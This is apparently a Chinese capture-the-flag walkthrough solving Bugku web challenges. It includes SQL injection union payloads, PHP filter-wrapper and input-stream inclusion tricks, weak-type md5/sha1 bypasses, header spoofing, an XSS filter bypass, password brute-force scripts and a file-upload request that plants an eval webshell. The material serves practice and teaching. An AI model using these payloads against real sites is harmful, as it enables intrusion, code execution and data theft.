Bugku Web类题目

web2

打开网页,F12

文件上传测试

Flag格式:Flag:xxxxxxxxxxxxx
找一张图片,后缀改成php即可

计算器

打开网页,输入答案发现前端限制了字符长度
F12修改长度为2,或者直接删掉也行

web基础$_GET

Payload
1
http://120.24.86.145:8002/get/?what=flag

web基础$_POST

火狐HackBar发送post数据,
what=flag
或者写个脚本

Payload
1
2
3
import requests
r = requests.post('http://120.24.86.145:8002/post/',data={'what':'flag'})
print(r.text)

矛盾

做了过滤,用注释符过滤

源码
1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num)) #这里做了过滤,输入参数不为纯数字才会被执行,所以只要1后面加上字符变成字符串即可
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
Payload
1
http://120.24.86.145:8002/get/index1.php?num=1xx

web3

打开会有弹框,直接查看源码

1
<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

html编码,解码即可

sql注入

格式KEY{}

Payload
1
2
http://103.238.227.13:10083/?id=0%df' union select 1,database() %23
http://103.238.227.13:10083/?id=0%df' union select 1,string from sql5.key %23

域名解析

修改本机hosts值,或者用bp抓包修改host

Payload
1
2
3
4
5
6
7
8
9
GET /? HTTP/1.1
Host: ctf.bugku.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer:
Connection: close
Upgrade-Insecure-Requests: 1

sql1

Payload
1
2
? id=1 unio<>n selec<>t 1,database() %23
?id=1 uni<a>on sel<a>ect 1,hash fr<a>om sql3.key%23

你必须让他停下

右键源代码,一直按F5直到flag is here处出现flag

本地包含

1
2
3
4
5
6
 <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
Payload
1
http://120.24.86.145:8003/index.php?hello=file("flag.php")

变量1

源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){ # /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
die("args error!");
}
eval("var_dump($$args);"); # 输出
}
?>

$$表示可变变量,输入args=flag,则$$args=$flag
这里提示我们需要输入超全局变量

php超全局变量
1
2
3
4
5
6
7
8
9
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

测试发现flag在GLOBALS里

Payload
1
http://120.24.86.145:8004/index1.php?args=GLOBALS

参考:bugku 变量1 - CSDN博客

web5

右键源代码,jsfuck,复制内容直接F12在consoleli执行即可

头等舱

flag在响应头里233

网站被黑

网站被黑一般都会有shell,用御剑扫描↓

访问需要密码,字典爆破即可

管理员系统

右键审查元素看到被base64编码过的密码(右键源代码在第5023行),提示IP禁止访问,请联系本地管理员登陆,IP已被记录.,所以这里需要修改数据包。
添加以下内容:

1
X-Forwarded-For: 127.0.0.1

X-Forwarded-For(XFF) 在客户端访问服务器的过程中如果需要经过HTTP代理或者负载均衡服务器,可以被用来获取最初发起请求的客户端的IP地址,这个消息首部成为事实上的标准。在消息流从客户端流向服务器的过程中被拦截的情况下,服务器端的访问日志只能记录代理服务器或者负载均衡服务器的IP地址。如果想要获得最初发起请求的客户端的IP地址的话,那么 X-Forwarded-For 就派上了用场。
这个消息首部会被用来进行调试和统计,以及生成基于位置的定制化内容,按照设计的目的,它会暴露一定的隐私和敏感信息,比如客户端的IP地址。所以在应用此消息首部的时候,需要将用户的隐私问题考虑在内。
HTTP 协议中的Forwarded 是这个消息首部的标准化版本。

X-Forwarded-For也是一个电子邮件相关协议中用到的首部,用来表示一封电子邮件是从其他账户转发过来的。

知识点

web4

右键源代码,url解码得到代码

1
2
3
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));

拼接的到MD5值:67d709b2b54aa2aa648cf6e87a7114f1,提交就可以得到flag
PS:我先提交的是解密后的,结果不需要解密,emmmm

flag在index里

文件包含,参考:谈一谈php://filter的妙用

Payload
1
http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

base64解码得到flag

输入密码查看flag

五位数密码爆破,用脚本爆破

Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests,re

def main():
url = 'http://120.24.86.145:8002/baopo/'
s = requests.session()
r = s.get(url)
# r.encoding = 'utf-8'
# print(r.text)
for i in range(10000,100000):
r = s.post(url, data={'pwd': i})
r.encoding='utf-8'
a = re.findall(r'密码不正确,请重新输入',r.text)
# print(a)
if a:
pass
else:
print(r.text)
break


main()

点击一百万次

源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
</script>

使用hackbar神器

python脚本
1
2
3
4
import requests,re
r = requests.post('http://120.24.86.145:9001/test/',data={'clicks':1000000})
a = re.findall(r'flag{(.*)}', r.text)
print('flag{%s}'%a[0])

听说备份是个好习惯

备份的话可能是文件后面加.bak的文件,Linux运维习惯233
访问http://120.24.86.145:8002/web16/index.php.bak,下载到源码

index.php源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?'); #strstr获得URI从'?'往后(包括'?')的字符串
$str = substr($str,1); #去掉'?'
$str = str_replace('key','',$str); #把字符串中的'key'替换为空
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){ #md5key1等于md5key2且key1不完全等于key2
echo $flag."取得flag";
}
?>

因为会把key替换掉,所以可以用kekeyy这样的形式绕过

  • 利用php弱类型绕过MD5判断
    if判断属于php弱类型,md5开头是0e的字符串,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
    所以md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!
    http://120.24.86.145:8002/web16/index.php?kekeyy1=s878926199a&kekeyy2=s214587387a

  • 利用数组绕过md5判断
    http://123.206.87.240:8002/web16/index.php?kekeyy1[]=a&kekeyy2[]=b

构造url得到flag:

成绩单

判断注入点
1
2
id=0
id=0' union select 1,2,3,4#
查询
1
2
3
4
id=0' union select 1,2,3,database()#
id=0' union select 1,2,3,table_name from information_schema.tables where table_schema=database()#
id=0' union select 1,2,3,column_name from information_schema.columns where table_name='fl4g'#
id=0' union select 1,2,3,skctf_flag from fl4g#

秋名山老司机

Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests,re

def main():
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.session()
r = s.get(url)
# r.encoding = 'utf-8'
a = re.findall(r'<div>(.*)=\?;</div>',r.text)
# print(r.text)
a = eval(a[0]) #将字符串公式转化为公式
r = s.post(url,data={'value':a})
r.encoding = 'utf-8'
print(r.text)

main()

速度要快

Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from base64 import b64decode

def main():
url = 'http://120.24.86.145:8002/web6/'
s = requests.session()
req = s.get(url)
# print(req.text)
data = str(b64decode((req.headers)['flag']),encoding='utf-8')
# print(data)
data = b64decode(data.split(':')[1]) #切片
# print(data)
# print(int(data))
response = s.post(url,data={'margin':data})
print(response.text)

main()

cookies欺骗

url上有base64的参数,解码是key.txt,把参数换成index.php,发现line按行返回 ,一共18行全部抓下来

python抓取代码
1
2
3
4
5
6
7
8
9
10
11
12
import requests
from base64 import b64encode

def main():
url = 'http://123.206.87.240:8002/web11/'
for i in range(20):
data = {"line": i, "filename": b64encode(b"index.php")}
req = requests.get(url,params=data)
print(req.text)


main()
index.php源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0); 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ #判断cookie中是否有margin值,并且存在cookie值margin=margin
$file_list[2]='keys.php'; #列表增加keys.php文件
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

所以我们需要访问的filename为key.php,并且需要在cookie中加入margin=margin参数
用bp开代理访问:http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy5waHA=
修改数据包,加入Cookie参数
右键源代码得到flag

XSS

反射性注入,发现<>被过滤,unicode编码绕过

Payload
1
http://103.238.227.13:10089/index.php?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e

never give up

右键源代码

1
<!--1p.html-->

访问:view-source:http://120.24.86.145:8006/test/1p.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

解码顺序:url解码→base64解码→url解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) #stripos函数查找字符串在另一字符串中第一次出现的位置,这里过滤了`.`
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>
  • if(!$_GET['id'])
    $id必须为非空非零变量

  • if(stripos($a,'.'))
    stripos函数查找字符串在另一字符串中第一次出现的位置,这里过滤了.

  • $data = @file_get_contents($a,'r'); $date=="bugku is a nice plateform!"
    @file_get_contents($a,'r')弱等于 "bugku is a nice plateform!"
    源码中变量$data是由file_get_contents()函数读取变量$a的值而得,所以$a的值必须为数据流。
    在服务器中自定义一个内容为bugku is a nice plateform!文件,再把此文件路径赋值给$a,显然不太现实。
    因此这里用伪协议php://来访问输入输出的数据流,其中php://input可以访问原始请求数据中的只读流。这里令$a=php://input,并在请求主体中提交字符串bugku is a nice plateform!

  • $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

    • $id==0
      id值弱等于0,前面说了id值不能为空也不能为零,这里可以查php官网的PHP类型比较表php松散比较==
    • strlen($b)>5
      变量b的长度要大于5
    • eregi(“111”.substr($b,0,1),”1114”)
      substr($b,0,1)获取变量b的第一个字符,"111".substr($b,0,1)拼接,即’111x’(x表示变量b的第一个字符)
      eregi()函数,判断’1114’中是否含有’111x’,明显只有x=4,结果才为真
    • substr($b,0,1)!=4
      变量b第一个函数不能等于4,等式看起来不能成立,但是eregi()函数存在截断漏洞,当遇到了%00,后面的字符串就不会被解析,即111%00被解析为111,最后变量b可以为%0011111
payload
1
2
url:http://123.206.87.240:8006/test/hello.php?id=php&a=php://input&b=%0011111
post:bugku is a nice plateform!

参考:never give up

非预期解

访问http://120.24.86.145:8006/test/f4l2a3g.txt得到flag


welcome to bugkuctf

参考:Bugku——welcome to bugkuctf(一道练习php://filter和php://input的好题)

过狗一句话

源码
1
2
3
4
5
6
<?php 
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>

assert执行任意代码

payload
1
http://123.206.87.240:8010/?s=var_dump(scandir('./'))
访问flag文件即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
array(6) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(8) "f14g.txt"
[3]=>
string(9) "index.php"
[4]=>
string(4) "xxxx"
[5]=>
string(19) "保护ctf人人有责.txt"
}
can you get flag?

字符?正则?

源代码
1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

这是一道考正则表达式的题目
/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i

  • keykey:这种直接写出来的可以直接利用
  • .表示匹配除\n之外的任何单个字符,即可以输入任何字符
  • {4,7}表示前一个字符可以出现的次数范围,.{4,7}即任意字符出现4-7次
  • \转义字符
  • [a,z]表示a-z任意一个小写字母
  • [[:punct:]]表示匹配任何标点符号
  • i表示不区分大小写
payload
1
http://123.206.87.240:8002/web10/?id=key.key....key:/./.keya.

前女友(SKCTF)

崩了

login1(SKCTF)

你从哪里来

  • Referer头域

Referer头域允许客户端指定请求uri的源资源地址,这可以允许服务器生成 回退链表,可用来登陆、优化cache等。他也允许废除的或错误的连接由于维护的目的被追踪。如果请求的uri没有自己的uri地址,Referer不能 被发送。如果指定的是部分uri地址,则此地址应该是一个相对地址。

只要在请求头中添加Referer: https://www.google.com即可获取flag

md5 collision(NUPT_CTF)

MD5碰撞

payload
1
http://123.206.87.240:9009/md5.php?a=240610708

程序员本地网站

又是一道本地登录的题,添加X-Forwarded-For为本地的参数即可

1
X-Forwarded-For: 127.0.0.1

各种绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
// 比较两个参数的值是否相同,这里不相同则判断else if
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

// id为margin,uname和passwd的sha值、类型相同则输出flag
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

可利用sha函数不能处理数组的方式绕过,即uname[]=a===passwd[]=b

payload
1
2
3
http://123.206.87.240:8002/web7/?id=margin&uname[]=a
[post data]
passwd[]=b

web8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
extract($_GET); //extract可以实现变量覆盖,致使$ax和$fn为可控变量
if (!empty($ac))
{
$f = trim(file_get_contents($fn)); //看到file_get_contents函数就说明存在本地包含漏洞
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
payload
1
2
3
http://123.206.87.240:8002/web8/?ac=a&fn=php://input
[post data]
a

细心

主页什么都没有,用御剑扫描后发现有robots.txt文件,访问resusl.php提示if ($_GET[x]==$password) 此处省略1w字

1
http://123.206.87.240:8002/web13/resusl.php?x=admin

getshell

上传绕过题

payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /web9/index.php HTTP/1.1
Host: 123.206.87.240:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://123.206.87.240:8002/web9/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: Multipart/form-data; boundary=---------------------------140101553129150 #m大写绕过
Content-Length: 332

-----------------------------140101553129150
Content-Disposition: form-data; name="file"; filename="1.php5" #php5可绕过
Content-Type: image/jpeg #数据类型改成图片

<?php @eval($_GET["code"])?>
-----------------------------140101553129150
Content-Disposition: form-data; name="submit"

Submit
-----------------------------140101553129150--